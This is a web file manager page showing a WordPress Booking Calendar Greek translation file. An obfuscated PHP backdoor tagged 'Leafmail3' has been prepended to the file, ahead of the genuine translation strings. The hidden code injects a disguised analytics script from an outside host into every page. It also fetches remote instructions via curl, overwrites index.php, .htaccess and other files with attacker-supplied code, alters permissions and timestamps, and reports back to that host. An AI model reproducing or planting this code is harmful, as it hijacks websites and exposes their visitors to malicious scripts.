trAvis - MANAGER
Edit File: booking-el.l10n.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2024-06-25 13:00:44+0000','plural-forms'=>'nplurals=2; plural=n != 1;','project-id-version'=>'Plugins - WP Booking Calendar - Stable (latest release)','language'=>'el_GR','messages'=>['Source'=>'Πηγή ','Restore all dismissed windows'=>'Επαναφορά όλων των απενεργοποιημένων παραθύρων','Email is sent to visitor after cancelling of booking (moved to trash).'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνει στον επισκέπτη μετά την ακύρωση της κράτησης.','This feature require %s'=>'Αυτή η δυνατότητα απαιτεί %s','Use check in/out time of plugin, during import .ics feeds'=>'Χρησιμοποιήστε το χρόνο άφιξης/αναχώρησης του πρόσθετου, κατά τη διάρκεια της εισαγωγής .ics','Append check out day'=>'Προσθέστε ημέρα αναχώρησης','Pay'=>'Πληρωμή','Video guide'=>'Οδηγός βίντεο','Show listing of customer bookings'=>'Δείξε λίστα κρατήσεων πελατών','This shortcode %s is used on a page, where visitors can %sview listing%s of their own booking(s)'=>'Αυτοί οι σύντομοι κωδικοί %s Χρησιμοποιούνται σε μία σελίδα, όπου οι επισκέπτες μπορούν %sνα δουν τη λίστα%s της δικής(ών) τους κράτησης(ων)','The content of field %sURL of page for customer bookings listing%s on the %sgeneral booking settings page%s must link to this page'=>'Το περιεχόμενο του πεδίου %sδιεύθυνση ιστοσελίδας για λίστα κρατήσεων πελατών%s στη %sσελίδα γενικές ρυθμίσεις κρατήσεων%s πρέπει να συνδεθεί σε αυτή τη σελίδα','%s You can use in this shortcode the same parameters as for %s shortcode'=>'%s Μπορείτε να χρησιμοποιήσετε σε αυτό τον κώδικα τις ίδιες παραμέτρους όπως για τον %s κώδικα','Trick'=>'Κόλπο','Probably you updated your paid version of Booking Calendar by free version or update process failed. You can request the new update of your paid version at %1sthis page%2s.'=>'Πιθανώς ενημερώσατε την πληρωμένη έκδοση σας με μία ελεύθερη έκδοση ή η διαδικασία ενημέρωσης απέτυχε. Μπορείτε να ζητήσετε τη νέα αναβάθμιση της πληρωμένης σας έκδοσης %1sσε αυτή τη σελίδα%2s.','Email with Payment Request which is sent to Visitor.'=>'Email με αίτηση πληρωμής που στέλνεται στον επισκέπτη.','Customization of email template, which is sent after modification of booking'=>'Διαμόρφωση προτύπου Email, το οποίο στάλθηκε μετά την τροποποίηση της κράτησης','Email is sent to Visitor after Editing of booking.'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνει στον επισκέπτη μετά την ακύρωση της κράτησης.','Booking resource type is not defined. This can be, when at the URL is wrong booking hash.'=>'Τύπος πηγής κράτησης δεν ορίζεται. Μπορεί να συμβαίνει, όταν στη διεύθυνση ιστοσελίδας είναι λάθος δείκτης της κράτησης.','My bookings'=>'Οι κρατήσεις μου','%s - inserting link to the page where visitor can see listing of own bookings, (possible to use the %s parameter for setting different %s of this page. Example: %s )'=>'%s - εισάγοντας link στην σελίδα όπου ο επισκέπτης μπορεί να δει λίστα των δικών του κρατήσεων, (πιθανόν να χρησιμοποιηθεί η %s παράμετρος για τον καθορισμό διαφορετικών %s αυτής της σελίδας. Παράδειγμα: %s )','Inline Search Form Template'=>'Ενσωματωμένο πρότυπο φόρμας αναζήτησης','Show booking details in tooltip'=>'Εμφάνιση λεπτομερειών κράτησης σε αναδυόμενο κείμενο','Booking details'=>'Λεπτομέρειες Κράτησης','You can use the shortcodes from the bottom form of Settings Fields page.'=>'Μπορείτε να χρησιμοποιήσετε σύντομο κώδικα απο τη φόρμα χαμηλά στις σελίδα ρυθμίσεων.','Use arithmetic expressions in cost configurations, including fields shortcodes and simple mathematics operations'=>'Χρησιμοποιήστε αριθμητικές εκφράσεις σε διαμορφώσεις κόστους, συμπεριλαμβανομένων πεδίων κωδικών και απλών μαθηματικών πράξεων','Set check out date as available'=>'Ορίστε ημερομηνία αναχώρησης ως διαθέσιμη','Check this option, to remove last selected day of saving to booking.'=>'Επιλέξτε αυτό το πλαίσιο, για να αφαιρέσετε την τελευταία επιλεγμένη ημέρα κράτησης.','Auto approve bookings during import'=>'Αυτόματη έγκριση κατά την εισαγωγή κρατήσεων','Check this checkbox to activate auto approve of all bookings %sduring import from external source(s)%s.'=>'Επιλέξτε αυτό το πλαίσιο για ενεργοποίηση της αυτόματης έγκρισης για όλες τις κρατήσεις %sπου εισάγονται απο εξωτερικές πηγές%s.','Auto approve booking, if booking cost is zero'=>'Αυτόματη έγκριση όλων των κρατήσεων, εάν το κόστος είναι μηδέν','Check this checkbox to activate auto approve of booking, %swhen cost of booking is zero%s.'=>'Επιλέξτε αυτό το πλαίσιο για ενεργοποίηση της αυτόματης έγκρισης %sγια τις κρατήσεις που έχουν μηδενικό κόστος%s.','Auto approve bookings after creation booking in admin panel'=>'Αυτόματη έγκριση για κρατήσεις έχουν γίνει απο τη σελίδα διαχειριστή','Check this checkbox to activate auto approve of booking, %sif booking was made in admin panel%s.'=>'Επιλέξτε αυτό το πλαίσιο για ενεργοποίηση της αυτόματης έγκρισης %sαν οι κρατήσεις έχουν γίνει απο τη σελίδα του διαχειριστή%s.','Activate custom booking forms for regular users'=>'Ενεργοποίηση προσαρμοσμένων πεδίων φορμών κράτησης για τακτικούς χρήστες','Check this box if you want to use multiple custom booking forms for activated regular users'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να χρησιμοποιήσετε διάφορες χειροποίητες φόρμες κρατήσεων για ενεργοποιημένους χρήστες','Select start and end time showing for Calendar Overview in %sDay%s view mode'=>'Επιλογή της ώρας έναρξης και λήξης που εμφανίζεται στην επισκόπηση του ημερολογίου στην κατάσταση προβολής %sΗμέρας %s','Show / hide notes'=>'Εμφάνιση / απόκρυψη σημειώσεων','Check this box if you want to open notes section by default in Booking Listing page.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να εμφανίζεται ως προεπιλογή η βοήθεια-συμβουλές 